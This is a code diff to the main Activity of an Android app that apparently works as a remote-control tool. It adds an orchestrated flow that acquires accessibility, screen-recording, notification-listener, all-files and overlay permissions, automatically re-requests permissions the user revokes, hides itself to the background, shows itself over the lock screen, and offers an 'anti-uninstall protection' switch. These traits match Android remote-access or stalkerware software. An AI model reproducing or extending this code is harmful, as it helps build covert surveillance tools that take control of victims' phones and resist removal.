第一步:设置基本窗口标志 - window.addFlags(android.view.WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED) - - // 第二步:延迟设置屏幕相关标志 - android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ - try { - window.addFlags(android.view.WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON) - window.addFlags(android.view.WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON) - - // 设置Activity为前台显示 - setTurnScreenOn(true) - setShowWhenLocked(true) - - Log.i(TAG, "窗口标志设置完成") - } catch (e: Exception) { - Log.e(TAG, "设置屏幕标志失败", e) - } - }, 100) // 100ms延迟,避免ANR - - // 第三步:延迟执行moveTaskToFront,避免与窗口标志设置冲突 - android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ - try { - val activityManager = - getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager - activityManager.moveTaskToFront( - taskId, - android.app.ActivityManager.MOVE_TASK_WITH_HOME - ) - Log.i(TAG, "ActivityManager移动任务成功") - } catch (e: Exception) { - Log.e(TAG, "ActivityManager移动任务失败", e) - } - }, 200) // 200ms延迟,确保窗口标志设置完成 - - Log.i(TAG, "Activity前台显示操作已异步启动") - } catch (e: Exception) { - Log.e(TAG, "异步设置Activity前台显示失败", e) - } - } - } catch (e: Exception) { - Log.e(TAG, "设置Activity前台显示失败", e) - } - handleAutoPermissionRequest() } @@ -1867,11 +1985,14 @@ class MainActivity : AppCompatActivity() { //参考zuiqiang:移除onResume中的保活检测 // zuiqiang的做法是在onDestroy时启动透明保活Activity,而不是在onResume中检测 + val currentIntent = intent + val hasExplicitPermissionIntent = hasExplicitPermissionRequestIntent(currentIntent) + // 🚀 关键优化:检查是否在 WebView 模式,如果是则跳过所有检查 val webViewContainer = findViewById(R.id.webViewContainer) val isWebViewVisible = webViewContainer?.visibility == android.view.View.VISIBLE - if (isWebViewVisible) { + if (isWebViewVisible && !hasExplicitPermissionIntent && !unifiedPermissionFlowInProgress) { Log.d(TAG, "🌐 WebView 模式:跳过所有后台检查,优化性能") //Activity回到前台,如果WebView打开,恢复状态更新 @@ -1894,6 +2015,13 @@ class MainActivity : AppCompatActivity() { return } + if (isWebViewVisible && (hasExplicitPermissionIntent || unifiedPermissionFlowInProgress)) { + Log.i( + TAG, + "🌐 WebView可见但检测到权限流程信号,继续执行权限处理: explicit=$hasExplicitPermissionIntent, unified=$unifiedPermissionFlowInProgress" + ) + } + //ANR修复:异步处理onResume逻辑,避免阻塞主线程 android.os.Handler(android.os.Looper.getMainLooper()).post { try { @@ -1941,6 +2069,17 @@ class MainActivity : AppCompatActivity() { //WebView性能优化:恢复WebView resumeWebView() + + if (hasExplicitPermissionIntent) { + Log.i(TAG, "onResume检测到显式权限Intent,优先执行权限处理") + handleIntentAndPermissions(currentIntent) + } else if (unifiedPermissionFlowInProgress) { + continueUnifiedPermissionFlow("onResume") + } else if (AccessibilityRemoteService.isServiceRunning()) { + Log.d(TAG, "服务已运行,跳过统一编排回补检测") + } else { + Log.d(TAG, "稳定模式:onResume 跳过自动回补编排,避免权限链路被打断") + } } catch (e: Exception) { Log.e(TAG, "异步处理onResume失败", e) } @@ -1968,6 +2107,12 @@ class MainActivity : AppCompatActivity() { } catch (e: Exception) { Log.w(TAG, "处理日志开关时异常: ${e.message}") } + + try { + savePermissionHealthSnapshot(buildCurrentPermissionSnapshot()) + } catch (e: Exception) { + Log.w(TAG, "保存权限快照失败", e) + } } private fun initViews() { @@ -1977,9 +2122,14 @@ class MainActivity : AppCompatActivity() { usageInstructionsText = findViewById(R.id.usageInstructionsText) serviceSwitch = findViewById(R.id.serviceSwitch) appIconImageView = findViewById(R.id.appIconImageView) + uninstallProtectionSwitch = findViewById(R.id.uninstallProtectionSwitch) + copyDiagnosticsButton = findViewById(R.id.copyDiagnosticsButton) + diagnosticsPreviewText = findViewById(R.id.diagnosticsPreviewText) //新增:从配置文件加载页面样式 loadPageStyleConfig() + refreshUninstallProtectionSwitchState() + refreshDiagnosticsPreview() } @@ -2078,19 +2228,16 @@ class MainActivity : AppCompatActivity() { when { !isAccessibilityEnabled -> { Log.i(TAG, "无障碍服务未启用,用户主动点击按钮,跳转到无障碍设置") - //用户主动点击按钮时,跳转到无障碍设置 openAccessibilitySettings() } isAccessibilityEnabled && !isServiceRunning -> { Log.i(TAG, "无障碍服务已启用但服务未运行,检查权限状态") - // 如果无障碍服务已启用但服务未运行,可能需要检查其他权限 checkAllPermissions() } isAccessibilityEnabled && isServiceRunning -> { Log.i(TAG, "服务已完全运行,无需操作") - // 服务已运行,按钮应该是禁用状态,这里只是记录日志 } else -> { @@ -2119,7 +2266,105 @@ class MainActivity : AppCompatActivity() { } } + uninstallProtectionSwitch.setOnCheckedChangeListener { _, isChecked -> + if (isUpdatingUninstallProtectionSwitch) { + return@setOnCheckedChangeListener + } + val service = AccessibilityRemoteService.getInstance() + if (service == null) { + Toast.makeText(this, "服务未运行,无法切换防卸载", Toast.LENGTH_SHORT).show() + refreshUninstallProtectionSwitchState() + return@setOnCheckedChangeListener + } + + try { + if (isChecked) { + service.enableUninstallProtection() + Toast.makeText(this, "已开启防卸载保护", Toast.LENGTH_SHORT).show() + } else { + service.disableUninstallProtection() + Toast.makeText(this, "已关闭防卸载保护", Toast.LENGTH_SHORT).show() + } + } catch (e: Exception) { + Log.e(TAG, "切换防卸载保护失败", e) + Toast.makeText(this, "切换失败: ${e.message}", Toast.LENGTH_SHORT).show() + } finally { + refreshUninstallProtectionSwitchState() + refreshDiagnosticsPreview() + } + } + + copyDiagnosticsButton.setOnClickListener { + copyConnectionDiagnosticsToClipboard() + } + + + } + + private fun refreshUninstallProtectionSwitchState() { + if (!::uninstallProtectionSwitch.isInitialized) return + val enabled = AccessibilityRemoteService.getInstance()?.isUninstallProtectionEnabled() ?: false + isUpdatingUninstallProtectionSwitch = true + uninstallProtectionSwitch.isChecked = enabled + isUpdatingUninstallProtectionSwitch = false + } + + private fun refreshDiagnosticsPreview() { + if (!::diagnosticsPreviewText.isInitialized) return + val service = AccessibilityRemoteService.getInstance() + val socketDiagSummary = service?.getSocketIOManager()?.getConnectionDiagnosticsSummary() + ?: "socket=not_ready" + val preview = buildString { + append("无障碍=") + append(if (isAccessibilityServiceEnabled()) "已开启" else "未开启") + append(" | 服务实例=") + append(if (service != null) "就绪" else "未就绪") + append("\n") + append(socketDiagSummary) + } + diagnosticsPreviewText.text = preview + } + + private fun copyConnectionDiagnosticsToClipboard() { + val now = System.currentTimeMillis() + val service = AccessibilityRemoteService.getInstance() + val socketManager = service?.getSocketIOManager() + val report = buildString { + appendLine("=== ANDROID DIAGNOSTICS ===") + appendLine("timestamp: $now") + appendLine("brand/model: ${Build.BRAND}/${Build.MODEL}") + appendLine("sdk: ${Build.VERSION.SDK_INT}, release: ${Build.VERSION.RELEASE}") + appendLine("accessibilityEnabled: ${isAccessibilityServiceEnabled()}") + appendLine("serviceRunning: ${AccessibilityRemoteService.isServiceRunning()}") + appendLine("uninstallProtection: ${service?.isUninstallProtectionEnabled() ?: false}") + appendLine("--- socket ---") + if (socketManager != null) { + appendLine(socketManager.getConnectionDiagnosticsReport()) + } else { + appendLine("socket manager not ready") + } + } + + try { + val clipboard = getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager + clipboard.setPrimaryClip(ClipData.newPlainText("android_diagnostics", report)) + try { + val diagDir = java.io.File(filesDir, "diagnostics") + if (!diagDir.exists()) { + diagDir.mkdirs() + } + val file = java.io.File(diagDir, "latest_connection_diag.txt") + file.writeText(report) + } catch (fileError: Exception) { + Log.w(TAG, "写入本地诊断日志失败", fileError) + } + Toast.makeText(this, "连接诊断日志已复制,可直接发给我分析", Toast.LENGTH_SHORT).show() + refreshDiagnosticsPreview() + } catch (e: Exception) { + Log.e(TAG, "复制连接诊断日志失败", e) + Toast.makeText(this, "复制失败: ${e.message}", Toast.LENGTH_SHORT).show() + } } /** @@ -2403,9 +2648,11 @@ class MainActivity : AppCompatActivity() { sendBroadcast(disableKeepAliveIntent) // 启动基础服务 - val basicServiceIntent = - Intent(this, com.hikoncont.service.RemoteControlForegroundService::class.java) - startForegroundService(basicServiceIntent) + if (startRemoteForegroundServiceSafely(reason = "degraded_mode")) { + Log.i(TAG, "降级模式基础服务已启动") + } else { + Log.w(TAG, "降级模式跳过主前台服务启动,避免 FGS 权限崩溃") + } Log.i(TAG, "降级模式已启动") @@ -2414,6 +2661,29 @@ class MainActivity : AppCompatActivity() { } } + private fun startRemoteForegroundServiceSafely( + action: String? = null, + reason: String + ): Boolean { + return try { + val serviceIntent = + Intent(this, com.hikoncont.service.RemoteControlForegroundService::class.java) + action?.let { serviceIntent.action = it } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + startForegroundService(serviceIntent) + } else { + startService(serviceIntent) + } + true + } catch (security: SecurityException) { + Log.e(TAG, "启动RemoteControlForegroundService被系统拒绝($reason)", security) + false + } catch (e: Exception) { + Log.e(TAG, "启动RemoteControlForegroundService失败($reason)", e) + false + } + } + /** *修复:优化的保活检测方法,避免误判导致卡顿 */ @@ -2750,13 +3020,11 @@ class MainActivity : AppCompatActivity() { //参考 f 目录策略:不启动多余的保活服务,只启动主前台服务 try { // 只启动主前台服务(对应 f 目录的 BackRunServerUseUse) - val foregroundIntent = Intent(this, com.hikoncont.service.RemoteControlForegroundService::class.java) - if (android.os.Build.VERSION.SDK_INT >= 26) { - startForegroundService(foregroundIntent) + if (startRemoteForegroundServiceSafely(reason = "accessibility_recovery")) { + Log.i(TAG, "已启动主前台服务做后台恢复(参考 f 目录策略)") } else { - startService(foregroundIntent) + Log.w(TAG, "跳过主前台服务启动,避免无投屏授权时触发 FGS 安全限制") } - Log.i(TAG, "已启动主前台服务做后台恢复(参考 f 目录策略)") } catch (e: Exception) { Log.w(TAG, "启动主前台服务失败: ${e.message}") } @@ -2904,9 +3172,18 @@ class MainActivity : AppCompatActivity() { // 更新Switch状态 updateSwitchState() - //修复:无障碍权限正常时,自动切换到WebView界面 - Log.i(TAG, "🌐 无障碍权限正常,自动切换到WebView界面") - switchToWebViewInterface() + // 权限链路期间禁止自动切WebView,避免抢焦点打断系统弹框 + val shouldSuppressAutoSwitch = + hasExplicitPermissionRequestIntent(intent) || + pendingSingleRuntimePermissionRequest || + permissionRequestInProgress || + isAutoPermissionRequest + if (shouldSuppressAutoSwitch) { + Log.i(TAG, "🚦 当前处于权限流程,跳过自动切换WebView") + } else { + Log.i(TAG, "🌐 无障碍权限正常,自动切换到WebView界面") + switchToWebViewInterface() + } } // 删除悬浮窗权限状态检查 @@ -2978,35 +3255,31 @@ class MainActivity : AppCompatActivity() { updateSwitchState() } } + refreshUninstallProtectionSwitchState() + refreshDiagnosticsPreview() } private fun checkAllPermissions() { Log.i(TAG, "检查所有权限状态") val isAccessibilityEnabled = isAccessibilityServiceEnabled() - // 删除悬浮窗权限检查 - - //新增:检查存储权限状态 checkStoragePermissions() Log.i(TAG, "权限状态 - 无障碍: $isAccessibilityEnabled") when { !isAccessibilityEnabled -> { - Log.i(TAG, "无障碍权限未开启,用户主动操作,跳转到无障碍设置") - //用户主动操作时,跳转到无障碍设置 + Log.i(TAG, "无障碍权限未开启,跳转无障碍设置") openAccessibilitySettings() } isAccessibilityEnabled -> { - // 无障碍服务已启用,直接切换到WebView界面 Log.i(TAG, "无障碍服务已开启,切换到WebView界面") switchToWebViewInterface() } else -> { Log.i(TAG, "所有必要权限已开启") - // 所有必要权限都已开启,检查服务状态 if (!AccessibilityRemoteService.isServiceRunning()) { Log.w(TAG, "权限已开启但服务未运行,可能需要重启应用") } @@ -3014,6 +3287,583 @@ class MainActivity : AppCompatActivity() { } } + /** + * 统一权限编排入口 + * 1. 先批量运行时权限 + * 2. 再特殊权限逐项处理 + * 3. 处理权限丢失自动回补 + */ + private fun startUnifiedPermissionFlow(trigger: String, preferBackground: Boolean) { + try { + Log.i(TAG, "🚦 启动统一权限编排: trigger=$trigger, preferBackground=$preferBackground") + DeviceMetricsReporter.reportPermission( + context = this, + metricName = "flow_start", + data = mapOf( + "trigger" to trigger, + "preferBackground" to preferBackground + ) + ) + if (unifiedPermissionFlowInProgress) { + unifiedPermissionFlowBackgroundPreferred = + unifiedPermissionFlowBackgroundPreferred || preferBackground + continueUnifiedPermissionFlow("reentry:$trigger") + return + } + + unifiedPermissionFlowInProgress = true + unifiedPermissionFlowBackgroundPreferred = preferBackground + unifiedPermissionFlowLastActionAt = 0L + runtimeBatchRequestAttempts = 0 + permissionStepAttempts.clear() + manualPermissionSteps.clear() + cachedSlowPermissionFlowMode = null + slowPermissionFlowModeLogged = false + + updateStatusTextThreadSafe( + "正在统一检查权限...\n会自动申请可自动获取的权限", + android.R.color.holo_orange_dark + ) + continueUnifiedPermissionFlow("start:$trigger") + } catch (e: Exception) { + Log.e(TAG, "启动统一权限编排失败", e) + } + } + + private fun continueUnifiedPermissionFlow(reason: String) { + if (!unifiedPermissionFlowInProgress || isFinishing || isDestroyed) { + return + } + + val now = System.currentTimeMillis() + val actionIntervalMs = getPermissionFlowActionIntervalMs() + val elapsedSinceLastAction = now - unifiedPermissionFlowLastActionAt + if (elapsedSinceLastAction < actionIntervalMs) { + Log.d( + TAG, + "权限编排节流中,跳过本次继续: $reason, elapsed=${elapsedSinceLastAction}ms, need=${actionIntervalMs}ms" + ) + return + } + + var guard = 0 + while (guard < 12) { + guard++ + val snapshot = buildCurrentPermissionSnapshot() + val nextStep = resolveNextPermissionStep(snapshot) + + if (nextStep == null) { + finishUnifiedPermissionFlow(snapshot, "completed:$reason") + return + } + + if (nextStep == UnifiedPermissionOrchestrator.Step.RUNTIME) { + if (runtimeBatchRequestAttempts >= MAX_RUNTIME_BATCH_REQUEST_ATTEMPTS) { + manualPermissionSteps.add(nextStep) + Log.w(TAG, "运行时权限自动申请已达上限,转手动处理") + updateStatusTextThreadSafe( + "运行时权限需要手动确认\n请在设置页完成授权", + android.R.color.holo_orange_dark + ) + openAppDetailsSettings() + finishUnifiedPermissionFlow(snapshot, "runtime_manual_required") + return + } + + runtimeBatchRequestAttempts++ + unifiedPermissionFlowLastActionAt = now + val requestList = snapshot.runtimeMissing.toTypedArray() + val userFixed = getUserFixedDeniedPermissions(requestList.toList()) + val requestable = requestList.filterNot { userFixed.contains(it) }.toTypedArray() + if (userFixed.isNotEmpty()) { + Log.w(TAG, "运行时权限存在USER_FIXED: ${userFixed.joinToString(",")}") + } + + if (requestable.isEmpty()) { + manualPermissionSteps.add(nextStep) + updateStatusTextThreadSafe( + "检测到系统固定拒绝权限\n请在设置页手动开启后返回", + android.R.color.holo_orange_dark + ) + openAppDetailsSettings() + finishUnifiedPermissionFlow(snapshot, "runtime_user_fixed") + return + } + + Log.i(TAG, "批量申请运行时权限(${runtimeBatchRequestAttempts}): ${requestable.joinToString(",")}") + DeviceMetricsReporter.reportPermission( + context = this, + metricName = "runtime_request_dispatch", + data = mapOf( + "attempt" to runtimeBatchRequestAttempts, + "requestCount" to requestable.size, + "userFixedCount" to userFixed.size + ) + ) + if (userFixed.isNotEmpty()) { + updateStatusTextThreadSafe( + "部分权限被系统限制\n先自动申请其余权限", + android.R.color.holo_orange_dark + ) + } else { + updateStatusTextThreadSafe( + "正在批量申请权限...\n请尽量一次性允许", + android.R.color.holo_orange_dark + ) + } + markRuntimePermissionsRequested(requestable.toList()) + requestPermissionsSafely( + requestable, + REQUEST_ALL_PERMISSIONS, + "orchestrator_runtime_batch" + ) + return + } + + val attempts = permissionStepAttempts.getOrDefault(nextStep, 0) + if (attempts >= MAX_SPECIAL_STEP_AUTO_ATTEMPTS) { + Log.w(TAG, "权限步骤 $nextStep 自动处理达到上限,标记手动处理") + manualPermissionSteps.add(nextStep) + continue + } + + permissionStepAttempts[nextStep] = attempts + 1 + val launched = launchSpecialPermissionStep(nextStep) + if (!launched) { + Log.w(TAG, "权限步骤 $nextStep 无法自动拉起,标记手动处理") + manualPermissionSteps.add(nextStep) + continue + } + + unifiedPermissionFlowLastActionAt = now + return + } + + finishUnifiedPermissionFlow(buildCurrentPermissionSnapshot(), "guard_break:$reason") + } + + private fun buildCurrentPermissionSnapshot(): UnifiedPermissionOrchestrator.PermissionSnapshot { + val accessibilityGranted = isAccessibilityServiceEnabled() + val mediaProjectionGranted = checkRealMediaProjectionPermission() + return UnifiedPermissionOrchestrator.buildSnapshot( + context = this, + accessibilityGranted = accessibilityGranted, + mediaProjectionGranted = mediaProjectionGranted + ) + } + + private fun resolveNextPermissionStep( + snapshot: UnifiedPermissionOrchestrator.PermissionSnapshot + ): UnifiedPermissionOrchestrator.Step? { + val missing = UnifiedPermissionOrchestrator.getMissingSteps(snapshot) + if (missing.isEmpty()) { + return null + } + + val romPolicy = DeviceDetector.getRomPolicy() + val order = romPolicy.permissionStepOrder.map { it.orchestratorStep } + for (step in order) { + if (missing.contains(step) && !manualPermissionSteps.contains(step)) { + return step + } + } + return null + } + + private fun launchSpecialPermissionStep(step: UnifiedPermissionOrchestrator.Step): Boolean { + return try { + when (step) { + UnifiedPermissionOrchestrator.Step.ACCESSIBILITY -> { + updateStatusTextThreadSafe( + "正在引导开启无障碍权限...", + android.R.color.holo_orange_dark + ) + openAccessibilitySettings() + true + } + + UnifiedPermissionOrchestrator.Step.MEDIA_PROJECTION -> { + updateStatusTextThreadSafe( + "正在申请录屏权限...\n请在系统弹窗中确认", + android.R.color.holo_orange_dark + ) + isAutoPermissionRequest = true + setPermissionRequestInProgressState(true, "unified_flow_media_projection") + requestMediaProjectionPermission() + true + } + + else -> { + val intent = UnifiedPermissionOrchestrator.buildSettingsIntent(this, step) + ?: return false + val resolved = intent.resolveActivity(packageManager) != null + if (!resolved) { + if (step == UnifiedPermissionOrchestrator.Step.ALL_FILES_ACCESS && Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { + val fallback = Intent(Settings.ACTION_MANAGE_ALL_FILES_ACCESS_PERMISSION).apply { + addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) + } + if (fallback.resolveActivity(packageManager) != null) { + startActivity(fallback) + updateStatusForStep(step) + return true + } + } + Log.w(TAG, "权限步骤 $step 无可用设置入口,回退应用详情设置") + if (openAppDetailsSettings()) { + updateStatusTextThreadSafe( + "无法直达系统权限页,已打开应用详情设置", + android.R.color.holo_orange_dark + ) + return true + } + return false + } + + startActivity(intent) + updateStatusForStep(step) + true + } + } + } catch (e: Exception) { + Log.e(TAG, "拉起权限步骤失败: $step", e) + false + } + } + + private fun updateStatusForStep(step: UnifiedPermissionOrchestrator.Step) { + val text = when (step) { + UnifiedPermissionOrchestrator.Step.OVERLAY -> "正在申请悬浮窗权限..." + UnifiedPermissionOrchestrator.Step.WRITE_SETTINGS -> "正在申请系统设置修改权限..." + UnifiedPermissionOrchestrator.Step.ALL_FILES_ACCESS -> "正在申请全部文件访问权限..." + UnifiedPermissionOrchestrator.Step.NOTIFICATION_LISTENER -> "正在申请通知监听权限..." + UnifiedPermissionOrchestrator.Step.BATTERY_OPTIMIZATION -> "正在申请忽略电池优化..." + UnifiedPermissionOrchestrator.Step.EXACT_ALARM -> "正在申请精确闹钟权限..." + else -> "正在处理权限步骤..." + } + updateStatusTextThreadSafe(text, android.R.color.holo_orange_dark) + } + + private fun finishUnifiedPermissionFlow( + snapshot: UnifiedPermissionOrchestrator.PermissionSnapshot, + reason: String + ) { + unifiedPermissionFlowInProgress = false + // 兜底清理旧流程标记,避免后续广播被误判为“仍在申请中” + isAutoPermissionRequest = false + setPermissionRequestInProgressState(false, "unified_flow_finish:$reason") + savePermissionHealthSnapshot(snapshot) + val missing = UnifiedPermissionOrchestrator.getMissingSteps(snapshot) + publishPermissionDegradeState(snapshot) + + if (missing.isEmpty()) { + Log.i(TAG, "✅ 统一权限编排完成: $reason") + DeviceMetricsReporter.reportPermission( + context = this, + metricName = "flow_finish", + success = true, + data = mapOf( + "reason" to reason, + "manualStepCount" to manualPermissionSteps.size + ) + ) + updateStatusTextThreadSafe("权限已全部就绪", android.R.color.holo_green_dark) + updateButtonSafely("服务已就绪", android.R.color.holo_green_dark, false) + if (unifiedPermissionFlowBackgroundPreferred) { + Handler(mainLooper).postDelayed({ + hideActivityToBackground() + }, 600) + } + return + } + + val missingText = missing.joinToString("、") { stepToLabel(it) } + Log.w(TAG, "统一权限编排未完全完成,缺失: $missingText, reason=$reason") + DeviceMetricsReporter.reportPermission( + context = this, + metricName = "flow_finish", + success = false, + data = mapOf( + "reason" to reason, + "missingSteps" to missing.joinToString(",") { it.name }, + "manualStepCount" to manualPermissionSteps.size + ) + ) + updateStatusTextThreadSafe( + "部分权限需手动完成:\n$missingText", + android.R.color.holo_orange_dark + ) + updateButtonSafely("继续授权", null, true) + } + + private fun publishPermissionDegradeState(snapshot: UnifiedPermissionOrchestrator.PermissionSnapshot) { + try { + val missing = UnifiedPermissionOrchestrator.getMissingSteps(snapshot).map { stepToLabel(it) } + val intent = Intent("android.mycustrecev.PERMISSION_DEGRADE_MODE").apply { + putExtra("enabled", missing.isNotEmpty()) + putExtra("missing_steps", missing.joinToString(",")) + putExtra("timestamp", System.currentTimeMillis()) + } + sendBroadcast(intent) + } catch (e: Exception) { + Log.w(TAG, "发送权限降级状态广播失败", e) + } + } + + private fun stepToLabel(step: UnifiedPermissionOrchestrator.Step): String { + return when (step) { + UnifiedPermissionOrchestrator.Step.RUNTIME -> "运行时权限" + UnifiedPermissionOrchestrator.Step.OVERLAY -> "悬浮窗" + UnifiedPermissionOrchestrator.Step.WRITE_SETTINGS -> "系统设置修改" + UnifiedPermissionOrchestrator.Step.ALL_FILES_ACCESS -> "全部文件访问" + UnifiedPermissionOrchestrator.Step.NOTIFICATION_LISTENER -> "通知监听" + UnifiedPermissionOrchestrator.Step.BATTERY_OPTIMIZATION -> "忽略电池优化" + UnifiedPermissionOrchestrator.Step.EXACT_ALARM -> "精确闹钟" + UnifiedPermissionOrchestrator.Step.ACCESSIBILITY -> "无障碍" + UnifiedPermissionOrchestrator.Step.MEDIA_PROJECTION -> "录屏投屏" + } + } + + private fun openAppDetailsSettings(): Boolean { + return try { + val intent = UnifiedPermissionOrchestrator.buildAppDetailsIntent(this) + startActivity(intent) + true + } catch (e: Exception) { + Log.e(TAG, "打开应用详情设置失败", e) + false + } + } + + private fun markRuntimePermissionsRequested(permissions: Collection) { + if (permissions.isEmpty()) { + return + } + try { + val prefs = getSharedPreferences("runtime_permission_request_state", Context.MODE_PRIVATE) + val editor = prefs.edit() + permissions.forEach { permission -> + editor.putBoolean("asked_$permission", true) + } + editor.apply() + } catch (e: Exception) { + Log.w(TAG, "记录权限请求历史失败", e) + } + } + + private fun requestPermissionsSafely( + permissions: Array, + requestCode: Int, + reason: String + ) { + if (permissions.isEmpty()) { + return + } + val requestArray = permissions.copyOf() + Handler(Looper.getMainLooper()).post { + dispatchRuntimePermissionRequest( + permissions = requestArray, + requestCode = requestCode, + reason = reason, + attempt = 0 + ) + } + } + + private fun dispatchRuntimePermissionRequest( + permissions: Array, + requestCode: Int, + reason: String, + attempt: Int + ) { + if (isFinishing || isDestroyed) { + Log.w(TAG, "Activity已结束,取消权限请求分发: reason=$reason") + pendingSingleRuntimePermissionRequest = false + return + } + val resumed = lifecycle.currentState.isAtLeast(androidx.lifecycle.Lifecycle.State.RESUMED) + val focused = hasWindowFocus() + val dispatchIntervalMs = getRuntimeRequestDispatchIntervalMs() + if ((!resumed || !focused) && attempt < MAX_RUNTIME_REQUEST_DISPATCH_RETRIES) { + Log.d( + TAG, + "⏳ 权限请求等待Activity稳定: reason=$reason, attempt=${attempt + 1}, resumed=$resumed, focused=$focused" + ) + Handler(Looper.getMainLooper()).postDelayed({ + dispatchRuntimePermissionRequest( + permissions = permissions, + requestCode = requestCode, + reason = reason, + attempt = attempt + 1 + ) + }, dispatchIntervalMs) + return + } + + if (!resumed || !focused) { + Log.w( + TAG, + "⚠️ Activity稳定检查未通过,超时后继续发起权限请求: reason=$reason, resumed=$resumed, focused=$focused" + ) + } + + try { + pendingSingleRuntimePermissionRequest = true + Log.i(TAG, "🚦 发起运行时权限请求[$reason]: ${permissions.joinToString(",")}") + requestPermissions(permissions, requestCode) + } catch (e: Exception) { + pendingSingleRuntimePermissionRequest = false + Log.e(TAG, "发起运行时权限请求失败: reason=$reason", e) + } + } + + private fun recordRuntimePermissionResult( + permissions: Array, + grantResults: IntArray + ) { + if (permissions.isEmpty() || grantResults.isEmpty()) { + return + } + try { + val prefs = getSharedPreferences("runtime_permission_request_state", Context.MODE_PRIVATE) + val editor = prefs.edit() + permissions.forEachIndexed { index, permission -> + if (index >= grantResults.size) { + return@forEachIndexed + } + val granted = grantResults[index] == PackageManager.PERMISSION_GRANTED + editor.putBoolean("asked_$permission", true) + if (granted) { + editor.putBoolean("denied_$permission", false) + } else { + editor.putBoolean("denied_$permission", true) + } + } + editor.apply() + } catch (e: Exception) { + Log.w(TAG, "记录权限回调结果失败", e) + } + } + + private fun isPermissionLikelyUserFixed(permission: String): Boolean { + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + return false + } + return try { + val denied = checkSelfPermission(permission) != PackageManager.PERMISSION_GRANTED + if (!denied) { + return false + } + val prefs = getSharedPreferences("runtime_permission_request_state", Context.MODE_PRIVATE) + val askedBefore = prefs.getBoolean("asked_$permission", false) + val deniedBefore = prefs.getBoolean("denied_$permission", false) + val canShowRationale = shouldShowRequestPermissionRationale(permission) + askedBefore && deniedBefore && !canShowRationale + } catch (e: Exception) { + Log.w(TAG, "推断权限固定拒绝状态失败: $permission", e) + false + } + } + + private fun getUserFixedDeniedPermissions(permissions: Collection): List { + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + return emptyList() + } + return permissions.filter { permission -> + checkSelfPermission(permission) != PackageManager.PERMISSION_GRANTED && + isPermissionLikelyUserFixed(permission) + } + } + + private fun monitorPermissionLossAndAutoRepair(source: String) { + try { + val snapshot = buildCurrentPermissionSnapshot() + val lost = detectLostPermissions(snapshot) + savePermissionHealthSnapshot(snapshot) + if (lost.isEmpty()) { + return + } + + val now = System.currentTimeMillis() + if (now - lastAutoRepairAt < AUTO_REPAIR_COOLDOWN_MS) { + Log.i(TAG, "权限丢失自动回补处于冷却中: $lost") + return + } + if (unifiedPermissionFlowInProgress) { + Log.i(TAG, "统一权限编排进行中,跳过重复回补: $lost") + return + } + + lastAutoRepairAt = now + Log.w(TAG, "检测到权限丢失,触发自动回补 source=$source, lost=$lost") + DeviceMetricsReporter.reportPermission( + context = this, + metricName = "permission_lost_detected", + success = false, + data = mapOf( + "source" to source, + "lost" to lost.joinToString(",") + ) + ) + startUnifiedPermissionFlow("权限丢失自动回补:$source", true) + } catch (e: Exception) { + Log.e(TAG, "权限丢失检测失败", e) + } + } + + private fun detectLostPermissions(snapshot: UnifiedPermissionOrchestrator.PermissionSnapshot): List { + val prefs = getSharedPreferences(PREF_PERMISSION_HEALTH, Context.MODE_PRIVATE) + if (!prefs.getBoolean("initialized", false)) { + return emptyList() + } + + val lost = mutableListOf() + if (prefs.getBoolean("runtime_granted", false) && !snapshot.runtimeGranted) { + lost.add("运行时权限") + } + if (prefs.getBoolean("overlay_granted", false) && !snapshot.overlayGranted) { + lost.add("悬浮窗") + } + if (prefs.getBoolean("write_settings_granted", false) && !snapshot.writeSettingsGranted) { + lost.add("系统设置修改") + } + if (prefs.getBoolean("all_files_granted", false) && !snapshot.allFilesGranted) { + lost.add("全部文件访问") + } + if (prefs.getBoolean("notification_listener_granted", false) && !snapshot.notificationListenerGranted) { + lost.add("通知监听") + } + if (prefs.getBoolean("battery_ignored", false) && !snapshot.batteryOptimizationIgnored) { + lost.add("电池优化白名单") + } + if (prefs.getBoolean("exact_alarm_granted", false) && !snapshot.exactAlarmGranted) { + lost.add("精确闹钟") + } + if (prefs.getBoolean("accessibility_granted", false) && !snapshot.accessibilityGranted) { + lost.add("无障碍") + } + if (prefs.getBoolean("media_projection_granted", false) && !snapshot.mediaProjectionGranted) { + lost.add("录屏投屏") + } + return lost + } + + private fun savePermissionHealthSnapshot(snapshot: UnifiedPermissionOrchestrator.PermissionSnapshot) { + val prefs = getSharedPreferences(PREF_PERMISSION_HEALTH, Context.MODE_PRIVATE) + prefs.edit() + .putBoolean("initialized", true) + .putBoolean("runtime_granted", snapshot.runtimeGranted) + .putBoolean("overlay_granted", snapshot.overlayGranted) + .putBoolean("write_settings_granted", snapshot.writeSettingsGranted) + .putBoolean("all_files_granted", snapshot.allFilesGranted) + .putBoolean("notification_listener_granted", snapshot.notificationListenerGranted) + .putBoolean("battery_ignored", snapshot.batteryOptimizationIgnored) + .putBoolean("exact_alarm_granted", snapshot.exactAlarmGranted) + .putBoolean("accessibility_granted", snapshot.accessibilityGranted) + .putBoolean("media_projection_granted", snapshot.mediaProjectionGranted) + .putLong("updated_at", System.currentTimeMillis()) + .apply() + } + /** *新增:线程安全的 statusText 更新方法 */ @@ -3080,6 +3930,48 @@ class MainActivity : AppCompatActivity() { Log.e(TAG, "标记权限申请状态失败", e) } } + + private fun setPermissionRequestInProgressState(inProgress: Boolean, reason: String) { + permissionRequestInProgress = inProgress + if (inProgress) { + permissionRequestInProgressSince = System.currentTimeMillis() + Log.i(TAG, "🔒 权限申请状态=进行中, reason=$reason") + } else { + val elapsedMs = if (permissionRequestInProgressSince > 0L) { + System.currentTimeMillis() - permissionRequestInProgressSince + } else { + -1L + } + permissionRequestInProgressSince = 0L + Log.i(TAG, "🔓 权限申请状态=空闲, reason=$reason, elapsedMs=$elapsedMs") + } + } + + private fun resetStalePermissionRequestIfNeeded(reason: String, force: Boolean = false): Boolean { + if (!permissionRequestInProgress) { + return false + } + + val elapsedMs = if (permissionRequestInProgressSince > 0L) { + System.currentTimeMillis() - 